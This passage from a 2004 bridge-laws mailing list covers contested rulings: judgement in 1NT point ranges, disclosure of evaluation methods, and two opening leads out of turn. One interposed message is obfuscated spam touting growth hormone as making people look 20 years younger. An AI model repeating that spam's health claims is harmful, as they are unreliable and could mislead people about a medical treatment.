judge, for example, that four of a kind is a strong hand and four deuces are club-equivalents. Of course, with normal opening values, they still make an orthodox opening bid. A Walrus may quibble that their judgement is flawed; but it hardly matters, because, according to David and Ton, they are under no legal obligation to divulge to their opponents, the fine details of the judgement methods on which they base their evaluation. Especially as these exceptional hands arise so rarely. The beauty of their evaluation method is that there is a good chance that they can detect when a "Poker" opener has occurred. For example, if they suspect partner's 1C opener, then the presence of a two and a three in their own hand will reassure them that partner has his normal quota of HCP. Of course, for those who judge to give a high value to runs or whatever, the range of "encrypted psyche" possibilities is mind-boggling. I reckon that only Richard Willey would be able to detect the patterns. :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From blml@blakjak.com Fri Jan 9 19:19:06 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 9 Jan 2004 19:19:06 +0000 Subject: [blml] Range restrictions In-Reply-To: <001001c3d6e0$69085d00$d22d37d2@Desktop> References: <009701c3d69f$580f7ce0$d980b6d4@LNV> <001001c3d6e0$69085d00$d22d37d2@Desktop> Message-ID: Wayne Burrows wrote >If the regulation says 12-14 hcp are required for 1NT and if >you argue that some hand with only 11 hcp is worth 12 hcp and >are allowed to upgrade that hand then I must be a allowed to >exercise a different judgement and upgrade a different hand. "must"??? But you are not making the regs, the SO is. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From brambledown@blueyonder.co.uk Fri Jan 9 19:32:59 2004 From: brambledown@blueyonder.co.uk (Brambledown) Date: Fri, 9 Jan 2004 19:32:59 -0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: Laval Dubreuil wrote >> Yesterday in my club: >> South is dealer but East lead (face up) with CA. >> Routine: dealer asked West "no Club lead" and CA returned in hand. >> Before West selected his card, East made another OLOT with HQ.... To which David Stevenson replied: > After the HQ, declarer has five options: > 1] Accept the HQ lead, dummy down now. > 2] Accept the HQ lead, put own hand down as dummy. > 3] Require heart lead, HQ gets picked up, East can play anything legal. > 4] Forbid heart lead for as long as West keeps lead, HQ gets picked up, > club lead also forbidden for as long as West keeps lead. > 5] Keep HQ on table as MPC, West forbidden from leading club for as long > as West keeps lead. This is all excellent stuff, but can we please come back a stage. When East led the CA OOT, South's action in forbidding a Club lead and East's in returning the CA to hand without anyone involving the TD is described as "routine". No one having called the TD (as required by L9B1(a)), South has now assessed a penalty (in contravention of L10A). ISTM that had the TD been called when the CA was led, South would have had his options outlined, would presumable have accepted "forbid club lead" and The TD would then have explained the effect of this to West. It is extremely unlikely after all this rigmarole that East would now have suffered whatever mental aberration caused him to make a second OLOOT. Leading the HQ (face up again!) was a fairly daft thing to do by any standards and if all four players are reasonably experienced, I would go along with David's ruling. We cannot escape the fact, however, that South has taken the law into his own hands, and if EW were a less experienced pair, I might well rule that the second incorrect lead was caused, at least in part, by South's actions and, applying L11, allow the HQ to be picked up without penalty. Chas Fellows, Surrey, England From Laval_Dubreuil@uqss.uquebec.ca Fri Jan 9 21:06:50 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Fri, 9 Jan 2004 16:06:50 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: Laval Dubreuil wrote >> Yesterday in my club: >> South is dealer but East lead (face up) with CA. >> Routine: dealer asked West "no Club lead" and CA returned in hand. >> Before West selected his card, East made another OLOT with HQ.... To which David Stevenson replied: > After the HQ, declarer has five options: > 1] Accept the HQ lead, dummy down now. > 2] Accept the HQ lead, put own hand down as dummy. > 3] Require heart lead, HQ gets picked up, East can play anything legal. > 4] Forbid heart lead for as long as West keeps lead, HQ gets picked up, > club lead also forbidden for as long as West keeps lead. > 5] Keep HQ on table as MPC, West forbidden from leading club for as long > as West keeps lead. This is all excellent stuff, but can we please come back a stage. When East led the CA OOT, South's action in forbidding a Club lead and East's in returning the CA to hand without anyone involving the TD is described as "routine". No one having called the TD (as required by L9B1(a)), South has now assessed a penalty (in contravention of L10A). ISTM that had the TD been called when the CA was led, South would have had his options outlined, would presumable have accepted "forbid club lead" and The TD would then have explained the effect of this to West. It is extremely unlikely after all this rigmarole that East would now have suffered whatever mental aberration caused him to make a second OLOOT. ___________________________________________________________________________ I was not clear enough ..... I was the TD and have been called after the first OLOOT (CA). I then explained choices to declarer, he selected "no Club" and I told East CA returns in hand. That was the "routine" I was talking about. I just return to my computer when they called me back (all laughing). Before West selected his lead (no club), East made a 2nd OLOOT with HQ. My only question was : "What about CA ?" Back on table, 2 penalty cards and 5 more options (as David pointed out). Laval Du Breuil Quebec City PS: I always repeat that the TD MUST be called after any infraction has been pointed out. If I had been called only after the 2nd OLOOT, my first reaction would have been to ignore the first one (Law 10B). From wayne.burrows@xtra.co.nz Fri Jan 9 21:20:36 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sat, 10 Jan 2004 10:20:36 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001b01c3d6f6$6cfa55b0$d22d37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Saturday, 10 January 2004 7:19 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > Wayne Burrows wrote > > >If the regulation says 12-14 hcp are required for 1NT and if > >you argue that some hand with only 11 hcp is worth 12 hcp and > >are allowed to upgrade that hand then I must be a allowed to > >exercise a different judgement and upgrade a different hand. > > "must"??? > Yes "must". If the regulation states 12 is the minimum and someone's judgement of an 11 is allowed then everyone's judgement of an 11 *must* be allowed. > But you are not making the regs, the SO is. I talking when the SO did not regulate 11. Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Fri Jan 9 21:22:01 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sat, 10 Jan 2004 10:22:01 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001c01c3d6f6$9fc829e0$d22d37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Saturday, 10 January 2004 7:19 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > Wayne Burrows wrote > > >If the regulation says 12-14 hcp are required for 1NT and if > >you argue that some hand with only 11 hcp is worth 12 hcp and > >are allowed to upgrade that hand then I must be a allowed to > >exercise a different judgement and upgrade a different hand. > > "must"??? > > But you are not making the regs, the SO is. And neither is the director making the regulation. Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Fri Jan 9 21:22:42 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 9 Jan 2004 21:22:42 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: References: Message-ID: <3h1yUuPiux$$Ewp7@blakjak.demon.co.uk> Brambledown wrote >Laval Dubreuil wrote >>> Yesterday in my club: >>> South is dealer but East lead (face up) with CA. >>> Routine: dealer asked West "no Club lead" and CA returned in hand. >>> Before West selected his card, East made another OLOT with HQ.... > >To which David Stevenson replied: >> After the HQ, declarer has five options: >> 1] Accept the HQ lead, dummy down now. >> 2] Accept the HQ lead, put own hand down as dummy. >> 3] Require heart lead, HQ gets picked up, East can play anything legal. >> 4] Forbid heart lead for as long as West keeps lead, HQ gets picked up, >> club lead also forbidden for as long as West keeps lead. >> 5] Keep HQ on table as MPC, West forbidden from leading club for as long >> as West keeps lead. > >This is all excellent stuff, but can we please come back a stage. When >East led the CA OOT, South's action in forbidding a Club lead and East's in >returning the CA to hand without anyone involving the TD is described as >"routine". No one having called the TD (as required by L9B1(a)), South has >now assessed a penalty (in contravention of L10A). There was no suggestion in the original post that the TD was not called. Since the TD was doing the posting I assumed he was called [and looking at other replies so has everyone else]. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Jan 9 22:09:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 9 Jan 2004 17:09:56 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <8EBA1B19-42F0-11D8-94A4-0030656F6826@rochester.rr.com> On Friday, Jan 9, 2004, at 16:06 US/Eastern, Laval Dubreuil wrote: > My only question was : "What about CA ?" Back on table, 2 penalty cards > and 5 more options (as David pointed out). I don't see where you get 2 penalty cards. Certainly David did not say you do. You have ruled regarding the first OLOOT. As a result of that ruling CA goes back in East's hand. The fact that he led out of turn *again* has no effect on the first ruling. HQ may end up a major penalty card, but the CA, it seems to me, stays in East's hand (and its presence there is UI to West). From nigel.guthrie@ntlworld.com Fri Jan 9 23:19:08 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 9 Jan 2004 23:19:08 -0000 Subject: [blml] Judgement References: <007801c3d6e1$b49d4fe0$5d9868d5@tinyhrieuyik> Message-ID: <002c01c3d706$fcbc99a0$6a9868d5@tinyhrieuyik> Further to my fable about the poker players who regard four of a kind as a strong hand and also treat deuces and so on as wild cards. BLMLers may balk at accepting any analogy between my poker players and those like David and Ton who would describe their flattish 11 count with excellent intermediates as a 12-14 HCP. Suppose you have such an agreement, partner opens 1NT but opponents end up in 3NT. During the play, you see that an active defence will defeat the contract even if partner has only 12 HCP. In the nick of time you realize that partner has shown up with a lot of tens and nines. So you go passive. Now, declarer places a queen with partner because without it he would have only eleven points. When he finesses into your hand the contract is defeated. Notice that poor declarer has almost no chance of a successful guess. Without foreknowledge of your evaluation methods, he is unlikely to appreciate the significance of partner's high intermediates. Whereas, to you and your partner, they act as *encypted signals*. Even if he guesses that your description of a 12-14 range is economical with the truth, how can the poor dupe tell whether this entails you opening good 11s? or poor 15s? or neither? or both? Another triumph for equity and judgment! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From nigel.guthrie@ntlworld.com Sat Jan 10 00:15:25 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 10 Jan 2004 00:15:25 -0000 Subject: [blml] Judgement Message-ID: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> [: some spelling corrected and smileys added :] Further to my fable about the poker players who regard four of a kind as a strong hand and also treat deuces and so on as wild cards. BLMLers may balk at accepting any analogy between my poker players and those like David and Ton who judge that it is OK to describe a flattish 11 count with excellent intermediates as 12-14 HCP. Suppose you have such an agreement, partner opens 1NT but opponents end up in 3NT. During the play, you see that an active defence will defeat the contract even if partner has only 12 HCP. In the nick of time you realize that partner has shown up with a lot of tens and nines. So you go passive. Now, declarer places a queen with partner because partner needs it to make up 12-14 HCP. When declarer finesses into your hand, the contract is defeated. Notice that declarer has almost no chance of success. Without foreknowledge of your evaluation methods, he is unlikely to appreciate the significance of partner's high intermediates. Whereas, to you and your partner, they act as *encrypted signals*. Even if he suspects that your "12-14 HCP" description is economical with the truth, how can the poor dupe tell whether this entails opening good 11s? or poor 15s? or neither? or both? Another triumph for equity and judgment! :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 09/01/2004 From ereppert@rochester.rr.com Sat Jan 10 02:45:06 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 9 Jan 2004 21:45:06 -0500 Subject: [blml] Judgement In-Reply-To: <002c01c3d706$fcbc99a0$6a9868d5@tinyhrieuyik> Message-ID: On Friday, Jan 9, 2004, at 18:19 US/Eastern, Nigel Guthrie wrote: > Notice that poor declarer has almost no chance of a > successful guess. Without foreknowledge of your > evaluation methods, he is unlikely to appreciate the > significance of partner's high intermediates. > Whereas, to you and your partner, they act as *encypted > signals*. Even if he guesses that your description of > a 12-14 range is economical with the truth, how can the > poor dupe tell whether this entails you opening > good 11s? or poor 15s? or neither? or both? > > Another triumph for equity and judgment! Heh. Seems to me that "class of player" comes into play here. A rank beginner, never having heard that maybe one might use judgment to adjust a good 11 upwards (or, for that matter, a bad 12 downwards) will not anticipate anything other than rigid adherence to point count, and will fall into your trap. So will Mrs. Guggenheim. Anybody else, it seems to me, ought to be aware of the possibility. You can explain to the rank beginner that partner might have opened on a good 11 count, and maybe he'll get it. You can explain it to Mrs. Guggenheim, too, but she won't. Anybody else, being aware of the possibility, should have sense enough to ask if they think they need to know. A little common sense here, it seems to me, *would* be a triumph for equity and judgment. From toddz@att.net Sat Jan 10 05:16:45 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Sat, 10 Jan 2004 00:16:45 -0500 Subject: [blml] Everybody run, the homecoming queen's got a gun In-Reply-To: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> Message-ID: <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> At 05:46 AM 1/9/2004, Nigel Guthrie wrote: >In all recent cases submitted by Richard, I feel that >if partner has bid in tempo, there are several such LAs. The LAs are the same whether partner has bid in tempo or not. -Todd From wrgptfan@fastmail.fm Sat Jan 10 05:32:29 2004 From: wrgptfan@fastmail.fm (David Kent) Date: Sat, 10 Jan 2004 00:32:29 -0500 Subject: [blml] Yet Another Mis-explanation Message-ID: <20040110053229.D2AA444CD6@server1.messagingengine.com> Hi all, I know we have gone over this MANY times, but I just want to make sure I have got it right. You are playing your 3rd session with a new partner. There are still a few auctions you have not discussed. You hold: x J87xx Qx AJxxx At equal vulnerability your LHO opens a weak 2D. Parter bids a natural 2NT. You bid 3D hoping that partner takes it as a transfer. He does not alert or announce the bid. (What is he supposed to do? Is it alertable in the ACBL?). He bids 3S. What is your bid? -- http://www.fastmail.fm - Or how I learned to stop worrying and love email again From vitasakes@mindmail.com Sat Jan 10 15:33:36 2004 From: vitasakes@mindmail.com (Svenr) Date: Sat, 10 Jan 2004 13:33:36 -0200 Subject: [blml] new age of progressive vitam1ns adults! Message-ID:
NEW AGE OF PROGRESSIVE VITAM1NS!

Super Vitam1ns can that
"Experts in the New England Journal of Medicine,
report that Human Growth Hormne therapy
makes you l1ook and f1eel 20 YEARRS YOOUNGER!"

Check out our dii1scount i1nternet speci1als, and get
your FRREE boottles of H 1GH today!

Foll1oow this l1innk for moore i1nnfo!

offing phoning starlet poses, Chesapeake Longfellow Nippon refutes Quezon Gaspee Betsey tapping depraved character previous mettlesome raisers. Nanking Fruehauf hazard severest mantissas, preventive rusticate relentless mindless muddy potting society Fresno header kneed Sacramento minks. recognizes quavered Passover.
From blml@wellsborocomputing.com Sat Jan 10 08:32:50 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 10 Jan 2004 03:32:50 -0500 Subject: [blml] Judgement In-Reply-To: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> References: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> Message-ID: <67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> On Sat, 10 Jan 2004 00:15:25 -0000, wrote: >Even if he suspects that your >"12-14 HCP" description is economical with the truth, how >can the poor dupe tell whether this entails opening >good 11s? If in no other fashion, then when he knows that he's going to base the whole hand on opener having to have 12-14 HCP, he asks "Do you and your partner stick rigidly to your NT range, or can you promote good 11 counts"? Personally I'm very happy to mark my CC (if playing 12-14) as "excellent 11 - poor 15", **if only my NCBO will allow it**. Which means that they provide sufficient space on the CC or allow me to use additional notes, of course. Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From grandeval@vejez.fsnet.co.uk Sat Jan 10 09:17:04 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sat, 10 Jan 2004 09:17:04 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> Message-ID: <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> Grattan Endicott To: Sent: Saturday, January 10, 2004 5:16 AM Subject: Re: [blml] Everybody run, the homecoming queen's got a gun > At 05:46 AM 1/9/2004, Nigel Guthrie wrote: > >In all recent cases submitted by Richard, I feel that > >if partner has bid in tempo, there are several such LAs. > > The LAs are the same whether partner has bid in > tempo or not. > > -Todd > +=+ Very true. Nigel would know that. So, accepting that he knows it, what do we think he is trying to say? +=+ From grandeval@vejez.fsnet.co.uk Sat Jan 10 09:21:10 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sat, 10 Jan 2004 09:21:10 -0000 Subject: [blml] Judgement References: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> <67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> Message-ID: <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j> Grattan Endicott To: Sent: Saturday, January 10, 2004 8:32 AM Subject: Re: [blml] Judgement > > Personally I'm very happy to mark my CC (if playing 12-14) as > "excellent 11 - poor 15", **if only my NCBO will allow it**. > Which means that they provide sufficient space on the CC or allow > me to use additional notes, of course. > +=+ ? "12(11) - 14(15)" +=+ From hermandw@hdw.be Sat Jan 10 09:25:35 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 10 Jan 2004 10:25:35 +0100 Subject: [blml] Judgement In-Reply-To: <67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> References: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> <67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> Message-ID: <3FFFC50F.6020702@hdw.be> Brian Meadows wrote: > On Sat, 10 Jan 2004 00:15:25 -0000, wrote: > > >>Even if he suspects that your >>"12-14 HCP" description is economical with the truth, how >>can the poor dupe tell whether this entails opening >>good 11s? > > > If in no other fashion, then when he knows that he's going to > base the whole hand on opener having to have 12-14 HCP, he asks > "Do you and your partner stick rigidly to your NT range, or can > you promote good 11 counts"? > > Personally I'm very happy to mark my CC (if playing 12-14) as > "excellent 11 - poor 15", **if only my NCBO will allow it**. And that is a very important point! David has convinced me of one thing - the method he proposes is workable. But it needs to be used throughout the SO. If Ton is right and all dutch TD's agree with him, then the following situation exists: In Belgium, a rule of 18 is in force and all TDs rule on it strictly, in the Netherlands, (I don't know if it's Ro18 there, but let's assume) they rule on it more liberally. In Holland, you are allowed to open 1S on AQ987 QJT T98 98, in Belgium you are not. There's no problem there. According to David, in England they rule also with judgment. Brian plays in England and marks his card "excellent 11 - poor 15". Will all English TD's allow this? As long as all TDs within one jurisdiction apply the same interpretation of a regulation, there is no problem. > Which means that they provide sufficient space on the CC or allow > me to use additional notes, of course. > > Brian. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From grandeval@vejez.fsnet.co.uk Sat Jan 10 09:27:09 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sat, 10 Jan 2004 09:27:09 -0000 Subject: [blml] Yet Another Mis-explanation References: <20040110053229.D2AA444CD6@server1.messagingengine.com> Message-ID: <000f01c3d75c$0055ec60$c57087d9@4nrw70j> Grattan Endicott To: Sent: Saturday, January 10, 2004 5:32 AM Subject: [blml] Yet Another Mis-explanation > Hi all, > > I know we have gone over this MANY times, but I just want to make sure I > have got it right. > > You are playing your 3rd session with a new partner. There are still a > few auctions you have not discussed. > > You hold: > > x > J87xx > Qx > AJxxx > > At equal vulnerability your LHO opens a weak 2D. Parter bids a natural > 2NT. You bid 3D hoping that partner takes it as a transfer. He does not > alert or announce the bid. (What is he supposed to do? Is it alertable > in the ACBL?). He bids 3S. > > What is your bid? > +=+ If partner has diamond ten I bid 3NT. :-) +=+ From blml@wellsborocomputing.com Sat Jan 10 11:02:05 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 10 Jan 2004 06:02:05 -0500 Subject: [blml] Judgement In-Reply-To: <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j> References: <008c01c3d70e$de63c3e0$6a9868d5@tinyhrieuyik> <67dvvvoubfdgceaqpikur8k2ifltkn7qt1@4ax.com> <003f01c3d75b$2fdb41c0$9c7687d9@4nrw70j> Message-ID: On Sat, 10 Jan 2004 09:21:10 -0000, Grattan wrote: >> >> Personally I'm very happy to mark my CC (if playing 12-14) as >> "excellent 11 - poor 15", **if only my NCBO will allow it**. >> Which means that they provide sufficient space on the CC or allow >> me to use additional notes, of course. >> >+=+ ? "12(11) - 14(15)" +=+ > That's certainly one option, Grattan, but I think we could do better. Opps are entitled to some idea of how many hands you promote. Maybe (as has been suggested here) something like 11.9 - 14.5, or maybe 11++ - 15- to reflect those who promote relatively few hands, or correspondingly 11.5 - 14.5 or 11+ - 15- for those who promote a lot of hands. I still think it would look better, and certainly be more easily understood by a greater number of players, if more space was available to use what I suggested, or you had room to refer to an additional note. IMO, filling in a CC shouldn't be a competition to see who has the smallest handwriting. Brian. -- Software development and computer consulting Brian Meadows Tel: 570-724-5172 Wellsboro Computing Services, Inc. Fax: 413-480-2709 RR#5, Box 5A, Wellsboro PA 16901 ICQ: 1981272 http://www.wellsborocomputing.com From twm@cix.co.uk Sat Jan 10 14:25:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Sat, 10 Jan 2004 14:25 +0000 (GMT Standard Time) Subject: [blml] Range restrictions In-Reply-To: <001b01c3d6f6$6cfa55b0$d22d37d2@Desktop> Message-ID: Wayne wrote: > > >If the regulation says 12-14 hcp are required for 1NT and if > > >you argue that some hand with only 11 hcp is worth 12 hcp and > > >are allowed to upgrade that hand then I must be a allowed to > > >exercise a different judgement and upgrade a different hand. > > > > "must"??? > > > > Yes "must". If the regulation states 12 is the minimum and someone's > judgement of an 11 is allowed then everyone's judgement of an 11 *must* > be allowed. If one person's judgement of a non-suggested LA is allowed then every person's judgement of a non-suggested LA is allowed? Of course that is just garbage. A number of people consider the judgment and allow/disallow based on a consensus of what is reasonable. If someone judges a particular 11 count to be worth 12 you ask why, hear their reasons and then accept/dismiss them in exactly the same way as you consider an LA. If you tell me your pard's slow double didn't suggest pulling I will tell you if I think your reasoning is flawed. If you tell me QJx,QJx,QJx,Q8xx is worth upgrading because of the 8 I will tell you the same thing. Tim From twm@cix.co.uk Sat Jan 10 14:25:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Sat, 10 Jan 2004 14:25 +0000 (GMT Standard Time) Subject: [blml] Judgement In-Reply-To: <002c01c3d706$fcbc99a0$6a9868d5@tinyhrieuyik> Message-ID: Nigel wrote: > Notice that poor declarer has almost no chance of a > successful guess. Without foreknowledge of your > evaluation methods, he is unlikely to appreciate the > significance of partner's high intermediates. This is true if declarer is a walrus. Answering "12-14" to a walrus is inadequate disclosure and there has been damage - so we adjust. The same answer to a non-walrus is absolutely fine. Declarer has the same chance of noticing the high intermediates as you do and can take this into account. Of course we can laugh at any BLML member who calls a TD in these circumstances (they have read enough to know better) but that does not mean we cannot sympathise with the many walruses who need detailed disclosure and will not understand the "shorthand" used between better informed players. OTOH I cannot understand why players who upgrade/downgrade a lot do not add the word "approx" or "about" to their CCs. This simple measure should trigger, even in the most walrus-like mind, the thought that asking for an explanation might be useful. Tim From nigel.guthrie@ntlworld.com Sat Jan 10 17:47:13 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 10 Jan 2004 17:47:13 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> Message-ID: <005401c3d7a1$c8b02780$bc9468d5@tinyhrieuyik> > > [Todd M. Zimnoch] > > The LAs are the same whether partner has bid in > > tempo or not. > [Grattan Endicott] > +=+ Very true. Nigel would know that. So, accepting that > he knows it, what do we think he is trying to say? +=+ [Nigel] Thank you for helping me out, Grattan. In my legal ignorance, I often phrase my views ineptly; so I lay myself open to such quib -- I mean -- queries. As usual, I was advancing blatantly obvious points... (1) IMO there is more than one LA. (2) If partner has broken tempo or failed to alert or whatever, then it may suggest one LA over another, depending on circumstances. BTW, although I'm just a player and not a TD or legal expert, I still feel that BLML can benefit from grass-roots comments. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From nigel.guthrie@ntlworld.com Sat Jan 10 18:24:46 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 10 Jan 2004 18:24:46 -0000 Subject: [blml] Judgement References: Message-ID: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> > [Ed Reppert] > Anybody else, being aware of the possibility, should > have sense enough to ask if they think they need to know. {Nigel] Brian Meadows, Tim West-Meads et al make similar suggestions. It seems a fair point, but IMO it has an obvious flaw. Please bear with me while I argue it through for my own benefit... (1) Opponents card describes their 1N as "12-14" but you need to know whether it includes good 11s; (or poor 15s; or neither; or both) (2) You ask opponents about their notrump range. Experienced players know the likely reasons for your question but still they stone-wall "12-14." (3) If you call a TD like Ton Kooijman or David Stevenson it seems that they will tell you that opponents have no need to tell you the basis of their "judgement". (4) If your opponent takes a literal view of the rules and knows that the EBU Orange book *defines* HCP as A=4 K=3 Q=2 J=1, then he may well feel insulted by your cross-examination. Are you accusing him of lying? or claiming he can't count? (5) Already, by cross-examining opponents about HCP, you may have tipped your hand to opponents. If you persist in asking specifically whether the notrump opener can have 11 HCP, opponents will probably face a double-dummy problem. (6) You could try to camouflage your true interest by first asking in detail about 15 counts, or by asking about 11 counts with 6-cards suits (when you know that this 1N opener has neither). Is such "bluffing by word of mouth" against the law? IMO it smacks of sharp practice and opponents who have told the truth from the beginning may well feel hard done by. At best it wastes a lot of time. If you disagree with this argument, please address point five first. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.560 / Virus Database: 352 - Release Date: 08/01/2004 From toddz@att.net Sat Jan 10 19:23:06 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Sat, 10 Jan 2004 14:23:06 -0500 Subject: [blml] Everybody run, the homecoming queen's got a gun In-Reply-To: <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> <6.0.1.1.1.20040110001524.01af12d0@postoffice.worldnet.att.net> <003e01c3d75b$2f2bc7e0$9c7687d9@4nrw70j> Message-ID: <6.0.1.1.1.20040110140553.01b79c40@postoffice.worldnet.att.net> At 04:17 AM 1/10/2004, grandeval wrote: >----- Original Message ----- >+=+ Very true. Nigel would know that. So, accepting that >he knows it, what do we think he is trying to say? +=+ The fuller quote from Nigel: "Pass is a sound conservative action, but 6D is also reasonable. 6D is also a safety play, in case a wheel has come off. Lacking specific agreements, I would not further muddy the waters with bids like 5H or 5N. "In all recent cases submitted by Richard, I feel that if partner has bid in tempo, there are several such LAs." So, if he's not saying that 5H and 5N are no longer LAs because partner has hesitated, then he must be saying something about 6D that makes no sense to me even after consideration. At my best guess, he's implying that 6D is a more desireable bid because partner has hesitated. If that's the case, would 6D be allowed? -Todd From blml@wellsborocomputing.com Sat Jan 10 19:59:05 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Sat, 10 Jan 2004 14:59:05 -0500 Subject: [blml] Judgement In-Reply-To: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> References: <006d01c3d7a7$074860c0$bc9468d5@tinyhrieuyik> Message-ID: <4pl000t7vdg9k6poopo9gnf97s7k6km3qm@4ax.com> On Sat, 10 Jan 2004 18:24:46 -0000, Nigel Guthrie wrote: > >{Nigel] >Brian Meadows, Tim West-Meads et al make similar suggestions. >It seems a fair point, but IMO it has an obvious flaw. Please >bear with me while I argue it through for my own benefit... > Point five first as requested. >(5) Already, by cross-examining opponents about HCP, you may > have tipped your hand to opponents. If you persist in > asking specifically whether the notrump opener can have 11 > HCP, opponents will probably face a double-dummy problem. > Quite possibly. But then I have two questions for you. 1) Why is this different to asking any other question? 2) Do you realise that it may be that people who hold the opposite view to you consider this to be the lesser of two evils? >(1) Opponents card describes their 1N as "12-14" but you > need to know whether it includes good 11s; (or poor 15s; > or neither; or both) > This information *should* be on the CC. Maybe the powers that be should consider adding an item to the CC: Rigid HCP counts: Yes.... No..... (check one). >(2) You ask opponents about their notrump range. Experienced > players know the likely reasons for your question but > still they stone-wall "12-14." > You already know their NT range from the CC. Your question should be whether they stick strictly to their advertised range. >(3) If you call a TD like Ton Kooijman or David Stevenson it > seems that they will tell you that opponents have no need > to tell you the basis of their "judgement". > If opponents have a fixed algorithm for deciding whether to promote an 11 count or not, you should be entitled to that information (e.g. we only promote hands that contain 